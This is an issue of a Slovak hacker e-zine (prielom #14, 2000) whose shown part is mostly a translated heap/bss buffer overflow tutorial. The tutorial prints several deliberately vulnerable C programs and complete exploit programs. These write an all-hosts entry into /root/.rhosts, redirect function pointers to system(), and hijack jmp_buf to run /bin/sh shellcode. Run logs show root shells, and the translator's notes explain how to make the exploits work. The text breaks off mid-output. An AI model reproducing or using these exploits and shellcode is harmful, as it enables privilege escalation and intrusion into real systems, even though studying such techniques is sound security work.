::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     \[[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM

   prielom #14, 29.02.00 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/


obsah
 




intro

otvoril som dvere a vysiel von pred chatu. nic, ziaden rozdiel. stale ten isty clovek. iba zima sa mi zrazu zdala byt akasi ozajstnejsia ako cez okno. dalsie cislo, nic viac. mnozstvo ludi bolo zrejme sklamanych a rozcarovanych. ziaden koniec sveta, ziadna celosvetova katastrofa sposobena y2k bugom. iba dalsi zo stupidnych zaciatkov kalendarneho roku podla gregorianskeho kalendara.

posledne dni tohto roku (zamerne nie tisicrocia, podla mna vsetko zacina cislom 1 a nie 0) som sa rozhodol stravit tak trochu mimo civilizacie. ani nie zo strachu pred y2k, i ked dreva do krbu sme mali dost a petrolejky boli plne,(len so zasobami potravin to bolo horsie) ale clovek obcas potrebuje vypnut a moje rozhodnutie, ze aspon tyzden sa pocitaca nedotknem, sa mi podarilo zdarne dotiahnut do konca. aj vdaka tomu, ze som sa uspesne vyhol navsteve martinskej fakultnej nemocnice, sa mozete zacitat do dalsieho cisla prielomu.

ps. abba a beatles su vecni. bohuzial...

po miernom zdrzani sposobenym skuskovym obdobim a celkovou zaneprazdnenostou na nas caka vycerpavajuci a rozsiahly uvod do heap/bss overflowov od wildera, nasledovany iste uz netrpezlivo ocakavanou druhou (a poslednou) castou uryvku z knihy velka kyberneticka vojna roku 2002. pozrieme sa trochu pod kozu autentifikacnym systemom pouzivanych free mail servermi na slovensku a v cechach (prilozeny aj exploit, v sucasnosti uz nepouzitelny ale ako nazorna ukazka postacujuci). uz par krat sa objavili v roznych security-related mail konferenciach exploity, ktore v skutocnosti neboli exploitmi ale trojskymi konmi. pozrieme sa ako na ne a proti nim. pri trojskych konoch este zostaneme - caka nas recenzia na bo2k. a na zaver trochu povodnej literarnej kyberpunkovej tvorby (na pokracovanie).

salo, 01.01.00 martinske hole, 29.02.00 zilina


heap/bss overflowy

uvod:

heap/bss zalozene overflowy su dost zvycajne v sucasnych aplikaciach, este stale su ale len vynimocne zverejnovane. spravime si "heap overflow" tutorial. v tomto clanku sa budeme odkazovat na "overflowy tykajuce sa stacku" ako "stack-based overflowy" ("stack overflow" je zavadzajuce) a overflowy tykajuce sa heap ako "heap-based overflowy". clanok by mal zabezpecit lepsie pochopenie heap-based overflowov vyuzitim niekolkych metod exploitovania, prikladov a par moznych rieseni. predpoklada sa vseobecne chapania pocitacovej architektury, asembleru, c a stack overflowu. napisali sme vsetky priklady a exploity v tomto clanku, ku vsetkym sa stahuje copyright.

preco su heap/bss overflowy tak dolezite

viacero systemovych predajcov pridava non-executable stack patche, alebo individualne aplikuje vlastne patche (napr. solar designerov non-executable stack patch), odlisna metoda prieniku je potrebna pre security konzultantov :))
uvedieme si par prikladov:

  • 1. ked dame hladat slovo "heap" na bugtraqu, najdeme len 40 zhod, pokym "stack" sa zhoduje v 2300 pripadoch. tiez "stack overflow" dava dva krat viac zhod ako "heap"
  • 2. solaris (os vyvinuty sun microsystems), ako solaris 2.6 sparc zahrnuje "protect_stack" skript, ktory nie je ekvivalentny "protect_heap" skriptu (hoci bss nie je executable).
  • 3. existuje tiez "stackguard" (vyvinuty crispinom cowanom), ktory tiez vlastnostami nezodpoveda "heapguardu"
  • 4. pouzitie heap/bss-based overlowov je jedna z potencialnych metod na vytocenie stackguardu.
  • 5. niektori ludia v sucasnosti navrhuju ako riesenie vytvorenie "lokalneho" bufra a "statickeho" bufra. nie je to velmi mudre, je to obycajne nespravna predstava o tom, ako heap a bss pracuje.

    hoci heap-based overflowy nie su nic nove, neboli doteraz dobre pochopene. ludia robia vsetko preto, aby sa uchranili pred stack-based overflowmi, ale nemyslia vobec na heap/bss. na viacerych systemoch, heap aj bss su vykonatelne (executable) a zapisovatelne (writeable) [ skvela kombinacia ]. toto robi heap/bss overflowy velmi pravdepodobne. neexistuje vsak pricina, preco by malo byt bss vykonatelne. co sa bude spustat v nulami vyplnenej pamati? pre vsetkych ludi od security, najviac heap-based overflowov su systemovo a platformovo nezavisle, vratane non-executable heaps. vsetko to bude demonstrovane v kapitole "exploitovanie heap/bss overflowov".

    terminologia

    vykonatelny subor, ako elf (executable and linking format) ma niekolko casti v executable subore, ako je plt (procedure linking table), got (global offset table), init (instrukcie vykonane pri inicializacii), fini (instrukcie, ktore budu vykonane po skonceni), a ctors a dtors (obsahuje globalne konstruktory/destruktory).
    "pamat, ktora je dynamicky alokovana aplikaciou nazyvame heap." slovo "aplikaciou" je velmi dolezite, pretoze na dobrych systemoch najviac oblasti je v skutocnosti alokovane na urovni kernelu, pokym pri heap je alokovanie vyziadane aplikaciou.

    heap a data/bss sekcie

    heap je teda oblast v pamati, ktora je dynamicky alokovana aplikaciou. data sekcia je inicializovana v case kompilacie. bss sekcia obsahuje neinicializovane data a je alokovana pocas behu. pokym sa tam nieco nezapise, zostava to vynulovane (teda aspon z pohladu aplikacie). ked sa budeme v kapitole nizsie odkazovat na "heap-based oveflowy", myslime tym sucasne heap/bss sekcie. na vacsine systemoch, heap rastie hore (smerom k vyssim adresam). preto, ked poviem, ze x je pod y, znamena to, ze x je v pamati nizsie ako y.

    exploitovanie heap/bss overflowov

    v tejto kapitole si ukazeme niekolko odlisnych metod na mozne vyuzitie heap/bss overflowov. najviac prikladov je pre unixove x86 systemy, tiez to pobezi pod dosom a windozami (s mensimi obmenami). tiez sme obsiahli niekolko dos/windows specifickych exploitovacich metod.
    v tomto clanku pouzivame "exact offset" pristup. offset musi byt najblizsie aproximovany k jeho skutocnej hodnote. alternativou je "stack-based overflow pristup", kedy sa opakuju adresy na zvysenie pravdepodobnosti uspesnosti exploitu.

    nasledujuci priklad moze vyzerat zbytocny, predkladame ho len pre tych, ktori nie su oboznameni s heap-based overflowmi. takze kratka ukazka:

       /* demonstrates dynamic overflow in heap (initialized data) */
    
       #include 
       #include 
       #include 
       #include 
    
       #define bufsize 16
       #define oversize 8 /* overflow buf2 by oversize bytes */
    
       int main()
       {
          u_long diff;
          char *buf1 = (char *)malloc(bufsize), *buf2 = (char *)malloc(bufsize);
    
          diff = (u_long)buf2 - (u_long)buf1;
          printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);
    
          memset(buf2, 'a', bufsize-1), buf2[bufsize-1] = '\0';
    
          printf("before overflow: buf2 = %s\n", buf2);
          memset(buf1, 'b', (u_int)(diff + oversize));
          printf("after overflow: buf2 = %s\n", buf2);
    
          return 0;
       }
    

    po spusteni dostaneme:

       [root /w00w00/heap/examples/basic]# ./heap1 8
       buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
       before overflow: buf2 = aaaaaaaaaaaaaaa
       after overflow: buf2 = bbbbbbbbaaaaaaa
    

    funguje to preto, lebo buf1 prepise hranice v oblasti buf2 heapu. pretoze oblast heap2 je stale spravna cast pamate (nic dolezite sme neprepisali), program nezleti.

    mozny fix pre heap-based overflowy (ktore budu spomenute neskor) je vlozit urcite hodnoty medzi vsetky premenne v heap oblasti (ako to robi stackguard spomenuty neskor), ktore nesmu byt zmenene pocas vykonania (execution). kompletny zdrojak so vsetkymi prikladmi pouzitych v tomto clanku je pristupny v archive clankov na http://www.w00w00.org/articles.html.

    na demonstrovanie bss-based overflowu, zmenime riadok:
    z: 'char *buf = malloc(bufsize)', na: 'static char buf[bufsize]'
    bol to velmi jednoduchy priklad, pretoze sme chceli demonstrovat heap overflow na najnizsom moznom stupni. to je zaklad takm vsetkych heap-based overflowov. mozeme to pouzit pri prepisani nazvu suboru, hesla, ulozeneho uid a tak dalej. tu je (stale jednoduchy) priklad s manipulaciou pointrami:

       /* demonstrates static pointer overflow in bss (uninitialized data) */
    
       #include 
       #include 
       #include 
       #include 
       #include 
    
       #define bufsize 16
       #define addrlen 4 /* # of bytes in an address */
    
       int main()
       {
          u_long diff;
          static char buf[bufsize], *bufptr;
    
          bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;
    
          printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
                 &bufptr, bufptr, buf, diff, diff);
    
          memset(buf, 'a', (u_int)(diff + addrlen));
    
          printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
                 &bufptr, bufptr, buf, diff, diff);
    
          return 0;
       }
    

    vysledky:

       [root /w00w00/heap/examples/basic]# ./heap3
       bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
       bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes
    

    po spusteni jasne vidime, ze pointer teraz ukazuje na odlisnu adresu. pouzitim coho? dalsi priklad je ukazkou toho, kedy mozeme prepisat docasne ulozeny pointer na nazov suboru na ukazovatel na uplne odlisny retazec (napr. argv[1]), co mozeme zabezpecit), pricom nas retazec moze obsahovat "/root/.rhosts". konecne vidime nejake mozne (vy/zne)uzitie.

    na demonstrovanie pouzijeme docasny subor na okamih ulozeny zo vstupu uzivatela. toto je nas dokonceny "vulnerable" program:

       /*
        * this is a typical vulnerable program.  it will store user input in a
        * temporary file.
        *
        * compile as: gcc -o vulprog1 vulprog1.c
        */
    
       #include 
       #include 
       #include 
       #include 
       #include 
    
       #define error -1
       #define bufsize 16
    
       /*
        * run this vulprog as root or change the "vulfile" to something else.
        * otherwise, even if the exploit works, it won't have permission to
        * overwrite /root/.rhosts (the default "example").
        */
    
       int main(int argc, char **argv)
       {
          file *tmpfd;
          static char buf[bufsize], *tmpfile;
    
          if (argc <= 1)
          {
             fprintf(stderr, "usage: %s \n", argv[0]);
             exit(error);
          }
    
          tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
          printf("before: tmpfile = %s\n", tmpfile);
    
          printf("enter one line of data to put in %s: ", tmpfile);
          gets(buf);
    
          printf("\nafter: tmpfile = %s\n", tmpfile);
    
          tmpfd = fopen(tmpfile, "w");
          if (tmpfd == null)
          {
             fprintf(stderr, "error opening %s: %s\n", tmpfile,
                     strerror(errno));
    
             exit(error);
          }
    
          fputs(buf, tmpfd);
          fclose(tmpfd);
       }
    
    snaha tohto "vzoroveho" programu je demonstrovat nieco, co sa uplne v pohode moze vyskytnut v programoch. a tu je exploitik na nas vulnerable program:

       /*
        * copyright (c) january 1999, matt conover & wsd
        *
        * this will exploit vulprog1.c.  it passes some arguments to the
        * program (that the vulnerable program doesn't use).  the vulnerable
        * program expects us to enter one line of input to be stored
        * temporarily.  however, because of a static buffer overflow, we can
        * overwrite the temporary filename pointer, to have it point to
        * argv[1] (which we could pass as "/root/.rhosts").  then it will
        * write our temporary line to this file.  so our overflow string (what
        * we pass as our input line) will be:
        *   + + # (tmpfile addr) - (buf addr) # of a's | argv[1] address
        *
        * we use "+ +" (all hosts), followed by '#' (comment indicator), to
        * prevent our "attack code" from causing problems.  without the
        * "#", programs using .rhosts would misinterpret our attack code.
        *
        * compile as: gcc -o exploit1 exploit1.c
        */
    
       #include 
       #include 
       #include 
       #include 
    
       #define bufsize 256
    
       #define diff 16 /* estimated diff between buf/tmpfile in vulprog */
       #define error 1
       #define vulprog "./vulprog1"
       #define vulfile "/root/.rhosts" /* the file 'buf' will be stored in */
    
       /* get value of sp off the stack (used to calculate argv[1] address) */
       u_long getesp()
       {
          __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in c */
       }
    
       int main(int argc, char **argv)
       {
          u_long addr;
    
          register int i;
          int mainbufsize;
    
          char *mainbuf, buf[diff+6+1] = "+ +\t# ";
    
          /* ------------------------------------------------------ */
          if (argc <= 1)
          {
             fprintf(stderr, "usage: %s  [try 310-330]\n", argv[0]);
             exit(error);
          }
          /* ------------------------------------------------------ */
    
          memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
    
          memset(buf + strlen(buf), 'a', diff);
          addr = getesp() + atoi(argv[1]);
    
          /* reverse byte order (on a little endian system) */
          for (i = 0; i < sizeof(u_long); i++)
             buf[diff + i] = ((u_long)addr >> (i * 8) & 255);
    
          mainbufsize = strlen(buf) + strlen(vulprog) +
                        strlen(vulprog) + strlen(vulfile) + 13;
    
          mainbuf = (char *)malloc(mainbufsize);
          memset(mainbuf, 0, sizeof(mainbuf));
    
          snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
                   buf, vulprog, vulfile);
    
          printf("overflowing tmpaddr to point to %p, check %s after.\n\n",
                 addr, vulfile);
    
          system(mainbuf);
          return 0;
       }
    
    poznamka (wilder): v takomto vydani mne osobne exploitik nebezal, vulfile som si nastavil iba na .rhosts a cele som to z gdb-ckoval, bezalo mi to pri offsete 428 (teda +-15) (rh6.0/glibc 2.1.1/kernel 2.2.9) [ pre tych, ktori si to chcu sfunkcnit ]

    vysledok po spusteni:

       [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330 (428)
       overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.
    
       before: tmpfile = /tmp/vulprog.tmp
       enter one line of data to put in /tmp/vulprog.tmp:
       after: tmpfile = /root/.rhosts
    
    a mame to. exploit prepisal buffer, ktory nas vulnerable program pouzival pre gets() vstup. na konci tohto buffra, sme hodili adresu, na ktorej sme predpokladali, ze lezi argv[1] tohto vulnerable programu. prepisali sme vsetko medzi overflowanym bufferom a tmpfile pointerom. nakoniec sme prepisali tmpfile pointer, ktory prestal ukazovat na nas tmpfile, ale na polozku argv[1] v nasom stacku. taktiez ak mame zdrojak nasho vulnerable programu (hmm..nestava sa to casto;-), mozeme pridat "printf()" na vytlacenie adries/offsetov medzi overflowovanymi datami (ten buffer) a cielovymi datami (pointer na konci) (napriklad 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)'). nanestastie, offsety sa zvycajne menia v case-kompilacie, ale mozme ich lahko prepocitat alebo pouzijeme offsety metodou "brute-force".

    potrebujeme spravnu adresu (argv[1]), obratime poradie bajtikov pre little endian systemy. little endian systemy pouzivaju najmenej vyznamny bajt ako prvy (x86 je little endian), teda 0x123456 je ulozeny v pamati ako 0x563412. ak to robime na big endian systemoch (ako sparc) tak sa na obratenie poradia bajtikov mozeme vykaslat. zatial ziadny z tychto prikladov nevyzadoval vykonatelny heap! ako sme spomenuli v casti "preco su heap/bss overflowy tak dolezite", predchadzajuce priklady boli (az na vynimku s poradim adresovych bajtov) systemovo/platformovo nezavisle. dost uzitocne pri exploitovani heap-based overflowov.

    so znalostou ako prepisovat pointre, ideme si ukazat ako modifikovat pointre funkcii. na exploitovanie pointerov funkcii vyzadujeme vykonatelny heap. pointer na funkciu (napr. "int (*funcptr)(char *str)") povoluje programatorom dynamicky modifikovat funkciu, ktora bude volana. pointer na funkciu mozeme prepisat prepisanim jeho adresy, teda po prepisani sa zavola funkcia, ktorej pointer tam nastavime. pred vsetkym najskor vlozime nas shellcode. to mozme urobit nasledovne:

  • 1. argv[] metodou: ulozime shellcode ako argument programu (to vyzaduje executable stack)
  • 2. heap offsetovou metodou: offsetom z vrcholu heapu na predpokladanu adresu cieloveho/overflow bufra (vyzaduje executable heap)

    je vacsia pravdepodobnost, ze heap bude vykonatelny (executable) na danom systeme ako napriklad stack. teda heap metoda pobezi pravdepodobne castejsie. druha metoda je jednoducho uhadnut (to je dost neefektivne) adresu funkcie pouzitim predpokladaneho offsetu vo vulnerable programu. tiez, ak pozname adresu system() v nasom programe, bude pravdepodobne na velmi blizkom offsete v exploite, teda ak predpokladame, ze vulprog/exploit boli skompilovani zhruba rovnakym sposobom. vyhoda je, ze nic vykonatelne nie je nutne.

    dalsia metoda je pouzit plt (procedure linking table), ktora obsahuje adresy funkcii v plt. druhu metodu uprednostnime hlavne koli jednoduchosti. mozeme uhadnut offset volania system() vo vulprog z adresy system() v nasom exploite celkom rychlo. obdobne je to vo vzdialenych systemoch (predpokladame rovnake verzie, operacne systemy, platformy). s metodou stacku mame tu vyhodu, ze prakticky mozme urobit, co chceme, teda nevyzadujeme kompatibilne pointre na funkcie (napr. char (*funcptr)(int a) a void (*funcptr)() pobezi rovnako). nevyhoda stackovej metody je ze vyzadujeme executable stack.

    nas vulnerable program pre nase 2 exploity:

       /*
        * just the vulnerable program we will exploit.
        * compile as: gcc -o vulprog vulprog.c (or change exploit macros)
        */
    
       #include 
       #include 
       #include 
       #include 
    
       #define error -1
       #define bufsize 64
    
       int goodfunc(const char *str); /* funcptr starts out as this */
    
       int main(int argc, char **argv)
       {
          static char buf[bufsize];
          static int (*funcptr)(const char *str);
    
          if (argc <= 2)
          {
             fprintf(stderr, "usage: %s  \n", argv[0]);
             exit(error);
          }
    
          printf("(for 1st exploit) system() = %p\n", system);
          printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
          printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);
    
          funcptr = (int (*)(const char *str))goodfunc;
    
    
          printf("before overflow: funcptr points to %p\n", funcptr);
    
          memset(buf, 0, sizeof(buf));
          strncpy(buf, argv[1], strlen(argv[1]));
          printf("after overflow: funcptr points to %p\n", funcptr);
    
          (void)(*funcptr)(argv[2]);
          return 0;
       }
    
       /* ---------------------------------------------- */
    
       /* this is what funcptr would point to if we didn't overflow it */
       int goodfunc(const char *str)
       {
          printf("\nhi, i'm a good function.  i was passed: %s\n", str);
          return 0;
       }
    
    prvy priklad, ktory to robi cez system() metodu: (osobne si myslim, ze je to najjednoduchsie a najelegantnejsie riesenie, pretoze nepotrebujeme executable stack ani heap, take vstupy su ale realne tazko dosiahnutelne a preto sa castejsie pouzivaju dalsie metody)

       /*
        * copyright (c) january 1999, matt conover & wsd
        *
        * demonstrates overflowing/manipulating static function pointers in
        * the bss (uninitialized data) to execute functions.
        *
        * try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
        * to compile use: gcc -o exploit1 exploit1.c
        */
    
       #include 
       #include 
       #include 
       #include 
    
       #define bufsize 64 /* the estimated diff between funcptr/buf */
    
       #define vulprog "./vulprog" /* vulnerable program location */
       #define cmd "/bin/sh" /* command to execute if successful */
    
       #define error -1
    
       int main(int argc, char **argv)
       {
          register int i;
          u_long sysaddr;
          static char buf[bufsize + sizeof(u_long) + 1] = {0};
    
          if (argc <= 1)
          {
             fprintf(stderr, "usage: %s \n", argv[0]);
             fprintf(stderr, "[offset = estimated system() offset]\n\n");
    
             exit(error);
          }
    
          sysaddr = (u_long)&system - atoi(argv[1]);
          printf("trying system() at 0x%lx\n", sysaddr);
    
          memset(buf, 'a', bufsize);
    
          /* reverse byte order (on a little endian system) */
          for (i = 0; i < sizeof(sysaddr); i++)
             buf[bufsize + i] = ((u_long)sysaddr >> (i * 8)) & 255;
    
          execl(vulprog, vulprog, buf, cmd, null);
          return 0;
       }
    
    ked to spustime s offsetom 16 (na mojej masine 12) dostaneme:

       [root /w00w00/heap/examples]# ./exploit1 16
       trying system() at 0x80484d0
       (for 1st exploit) system() = 0x80484d0
       (for 2nd exploit, stack method) argv[2] = 0xbffffd3c
       (for 2nd exploit, heap offset method) buf = 0x804a9a8
    
       before overflow: funcptr points to 0x8048770
       after overflow: funcptr points to 0x80484d0
       bash#
    
    druhy priklad (do zivota), ktory pouziva argv[] metodu (cez stack) a heap-metodu.

       /*
        * copyright (c) january 1999, matt conover & wsd
        *
        * this demonstrates how to exploit a static buffer to point the
        * function pointer at argv[] to execute shellcode.  this requires
        * an executable heap to succeed.
        *
        * the exploit takes two argumenst (the offset and "heap"/"stack").
        * for argv[] method, it's an estimated offset to argv[2] from
        * the stack top.  for the heap offset method, it's an estimated offset
        * to the target/overflow buffer from the heap top.
        *
        * try values somewhere between 325-345 for argv[] method, and 420-450
        * for heap.
        *
        * to compile use: gcc -o exploit2 exploit2.c
        */
    
       #include 
       #include 
       #include 
       #include 
    
       #define error -1
       #define bufsize 64 /* estimated diff between buf/funcptr */
    
       #define vulprog "./vulprog" /* where the vulprog is */
    
    
    
       char shellcode[] = /* just aleph1's old shellcode (linux x86) */
         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
         "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
         "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
       u_long getesp()
       {
          __asm__("movl %esp,%eax"); /* set sp as return value */
       }
    
       int main(int argc, char **argv)
       {
          register int i;
          u_long sysaddr;
          char buf[bufsize + sizeof(u_long) + 1];
    
          if (argc <= 2)
          {
             fprintf(stderr, "usage: %s  \n", argv[0]);
             exit(error);
          }
    
          if (strncmp(argv[2], "stack", 5) == 0)
          {
             printf("using stack for shellcode (requires exec. stack)\n");
    
             sysaddr = getesp() + atoi(argv[1]);
             printf("using 0x%lx as our argv[1] address\n\n", sysaddr);
    
             memset(buf, 'a', bufsize + sizeof(u_long));
          }
          else
          {
             printf("using heap buffer for shellcode "
                    "(requires exec. heap)\n");
    
             sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
             printf("using 0x%lx as our buffer's address\n\n", sysaddr);
    
             if (bufsize + 4 + 1 < strlen(shellcode))
             {
                fprintf(stderr, "error: buffer is too small for shellcode "
                                "(min. = %d bytes)\n", strlen(shellcode));
    
                exit(error);
             }
    
             strcpy(buf, shellcode);
             memset(buf + strlen(shellcode), 'a',
                    bufsize - strlen(shellcode) + sizeof(u_long));
          }
    
          buf[bufsize + sizeof(u_long)] = '\0';
    
          /* reverse byte order (on a little endian system) */
          for (i = 0; i < sizeof(sysaddr); i++)
             buf[bufsize + i] = ((u_long)sysaddr >> (i * 8)) & 255;
    
          execl(vulprog, vulprog, buf, shellcode, null);
          return 0;
       }
    
    po spusteni s offsetom 334 (pre mna 441) v argv[] metode dostaneme:

       [root /w00w00/heap/examples] ./exploit2 334 stack
       using stack for shellcode (requires exec. stack)
       using 0xbffffd16 as our argv[1] address
    
       (for 1st exploit) system() = 0x80484d0
       (for 2nd exploit, stack method) argv[2] = 0xbffffd16
       (for 2nd exploit, heap offset method) buf = 0x804a9a8
    
       before overflow: funcptr points to 0x8048770
       after overflow: funcptr points to 0xbffffd16
       bash#
    
    po spusteni s offsetom 428-442 (pre mna 516) heap offsetovom metodou dostaneme:

       [root /w00w00/heap/examples] ./exploit2 428 heap
       using heap buffer for shellcode (requires exec. heap)
       using 0x804a9a8 as our buffer's address
    
       (for 1st exploit) system() = 0x80484d0
       (for 2nd exploit, stack method) argv[2] = 0xbffffd16
       (for 2nd exploit, heap offset method) buf = 0x804a9a8
    
       before overflow: funcptr points to 0x8048770
       after overflow: funcptr points to 0x804a9a8
       bash#
    
    btw: svoje offsety udavam len informacne, vsetky sa tykaju (ako som uz spominal) konfiguracie rh 6.0 / glibc 2.1.1 / kernel 2.2.9, kompilacia gcc -ggdb -wall

    dalsia vyhoda heap metody je, ze mame sirsi adresovy rozsah. s argv[] (stack) metodou, musime byt presni. s heap offsetovou metodou, hocijaky offset s 428-442 by mal ist. ako vidime, existuje niekolko odlisnych metod na exploitovanie jednej veci. ako pridavny bonus, si prilozime finalny typ exploitovania, ktory pouziva jmp_bufs (setjmp/longjmp). jmp_buf sa normalne uklada do stacku a neskor sa na to skace (pocas vykonania). ak mame moznost overflownut buffer medzi setjmp() a longjmp(), ktory je nad overflowujucim buffrom, tak existuje moznost exploitovania. mozeme nastavit emulaciu spravania stack-based overflowu (ako to robi argv[] shellcode metoda spomenuta skor). nasledujuci priklad (s jmp_buf) je pre x86 systemy. je to nutne prislusne zmenit pre ostatne platformy.

    najskor nas vulnerable program:

       /*
        * this is just a basic vulnerable program to demonstrate
        * how to overwrite/modify jmp_buf's to modify the course of
        * execution.
        */
    
       #include 
       #include 
       #include 
       #include 
       #include 
    
       #define error -1
       #define bufsize 16
    
       static char buf[bufsize];
       jmp_buf jmpbuf;
    
       u_long getesp()
       {
       __asm__("movl %esp,%eax"); /* the return value goes in %eax */
       }   int main(int argc, char **argv)
       {
          if (argc <= 1)
          {
             fprintf(stderr, "usage: %s  \n");
             exit(error);
          }
    
          printf("[vulprog] argv[2] = %p\n", argv[2]);
          printf("[vulprog] sp = 0x%lx\n\n", getesp());
    
          if (setjmp(jmpbuf)) /* if > 0, we got here from longjmp() */
          {
             fprintf(stderr, "error: exploit didn't work\n");
             exit(error);
          }
    /* v glibc 2.x.x je nutne pristupovat cez jmpbuf[jb_?x] k jednotlivym registrom  jednotlive polozky __bx, __si, __di su totiz nezname 
          printf("before:\n");
          printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
                 jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);
    
          printf("bp = %p, sp = %p, pc = %p\n\n",
                 jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc); */
    
         strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */
    
    /* 
          printf("after:\n");
          printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
                 jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);
    
          printf("bp = %p, sp = %p, pc = %p\n\n",
                 jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);
    */
          longjmp(jmpbuf, 1);
          return 0;
       }
    
    a patricny exploit:

       /*
        * copyright (c) january 1999, matt conover & wsd
        *
        * demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
        * to emulate a stack-based overflow in the heap.  by that i mean,
        * you would overflow the sp/pc of the jmpbuf.  when longjmp() is
        * called, it will execute the next instruction at that address.
        * therefore, we can stick shellcode at this address (as the data/heap
        * section on most systems is executable), and it will be executed.
        *
        * this takes two arguments (offsets):
        *   arg 1 - stack offset (should be about 25-45).
        *   arg 2 - argv offset (should be about 310-330).
        */
    
       #include 
       #include 
       #include 
       #include 
    
       #define error -1
       #define bufsize 16
    
       #define vulprog "./vulprog4"
    
       char shellcode[] = /* just aleph1's old shellcode (linux x86) */
          "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
          "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
          "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
       u_long getesp()
       {
          __asm__("movl %esp,%eax"); /* the return value goes in %eax */
       }
    
       int main(int argc, char **argv)
       {
          int stackaddr, argvaddr;
          register int index, i, j;
    
          char buf[bufsize + 24 + 1];
    
          if (argc <= 1)
          {
             fprintf(stderr, "usage: %s  \n",
                     argv[0]);
    
             fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
             fprintf(stderr, "[argv offset = offset to argv[2]]\n");
    
             exit(error);
          }
    
          stackaddr = getesp() - atoi(argv[1]);
          argvaddr = getesp() + atoi(argv[2]);
    
          printf("trying address 0x%lx for argv[2]\n", argvaddr);
          printf("trying address 0x%lx for sp\n\n", stackaddr);
    
          /*
           * the second memset() is needed, because otherwise some values
           * will be (null) and the longjmp() won't do our shellcode.
           */
    
          memset(buf, 'a', bufsize), memset(buf + bufsize + 4, 0x1, 12);
          buf[bufsize+24] = '\0';
    
          /* ------------------------------------- */
    
          /*
           * we need the stack pointer, because to set pc to our shellcode
           * address, we have to overwrite the stack pointer for jmpbuf.
           * therefore, we'll rewrite it with the real address again.
           */
    
          for (i = 0; i < sizeof(u_long); i++) /* setup bp */
          {
             index = bufsize + 16 + i;
             buf[index] = (stackaddr >> (i * 8)) & 255;
          }
    
          /* ----------------------------- */
    
          for (i = 0; i < sizeof(u_long); i++) /* setup sp */
          {
             index = bufsize + 20 + i;
             buf[index] = (stackaddr >> (i * 8)) & 255;
          }
    
    
         /* ----------------------------- */
    
          for (i = 0; i < sizeof(u_long); i++) /* setup pc */
          {
             index = bufsize + 24 + i;
             buf[index] = (argvaddr >> (i * 8)) & 255;
          }
    
          execl(vulprog, vulprog, buf, shellcode, null);
          return 0;
       }
    
    mne osobne sa tento exploit nepodarilo rozbehat ani pri umornom gdb-ckovani. strukturu jmpbuf, ktoru prepisujeme sa sklada postupne z poloziek ebx, esi, edi, ebp, esp, pc (dokopy 24 bajtov + nejake flagy, ktore nas nezaujimaju), nasim buffrom prepisujeme len obsah ebp=esp a pc. pricom esp prepisame hodnotou nasho vulnerable programu (teda sa nic nestane) a pc prepiseme pointerom do stacku na argv[2], kde je nas shellcode. vsetko by to malo pekne bezat. v skutocnosti sa vyskytol problem, kedy struktura jmpbuf nie je hned zarovnana za nasim 16-bajtovym overflowovanym buffrom (kompilator pre mna z cudesnych dovodov nam nechal medzeru 20 bajtov???), preto aj v exploite potom treba urobit patricne zmeny (buffsize += 20, okrem toho jednotlive polozky ebp, esp, pc nasleduju v strukture od 12,16,20 bajtu (nie 16,20,24 ako to je v exploite). po tychto upravach (to v debuggeri vyzeralo vsetko pekne), ale neslo to, nakolko jednotlive hodnoty registrov bez gdb boli vsetky ine. myslienka je ale spravna, a teoreticky by to malo slapat po spusteni so stack offsetom 36 argv[2] offsetom 322 by sme mali dostat:

       [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322
       trying address 0xbffffcf6 for argv[2]
       trying address 0xbffffb90 for sp
    
       [vulprog] argv[2] = 0xbffffcf6
       [vulprog] sp = 0xbffffb90
    
       before:
       bx = 0x0, si = 0x40001fb0, di = 0x4000000f
       bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715
    
       after:
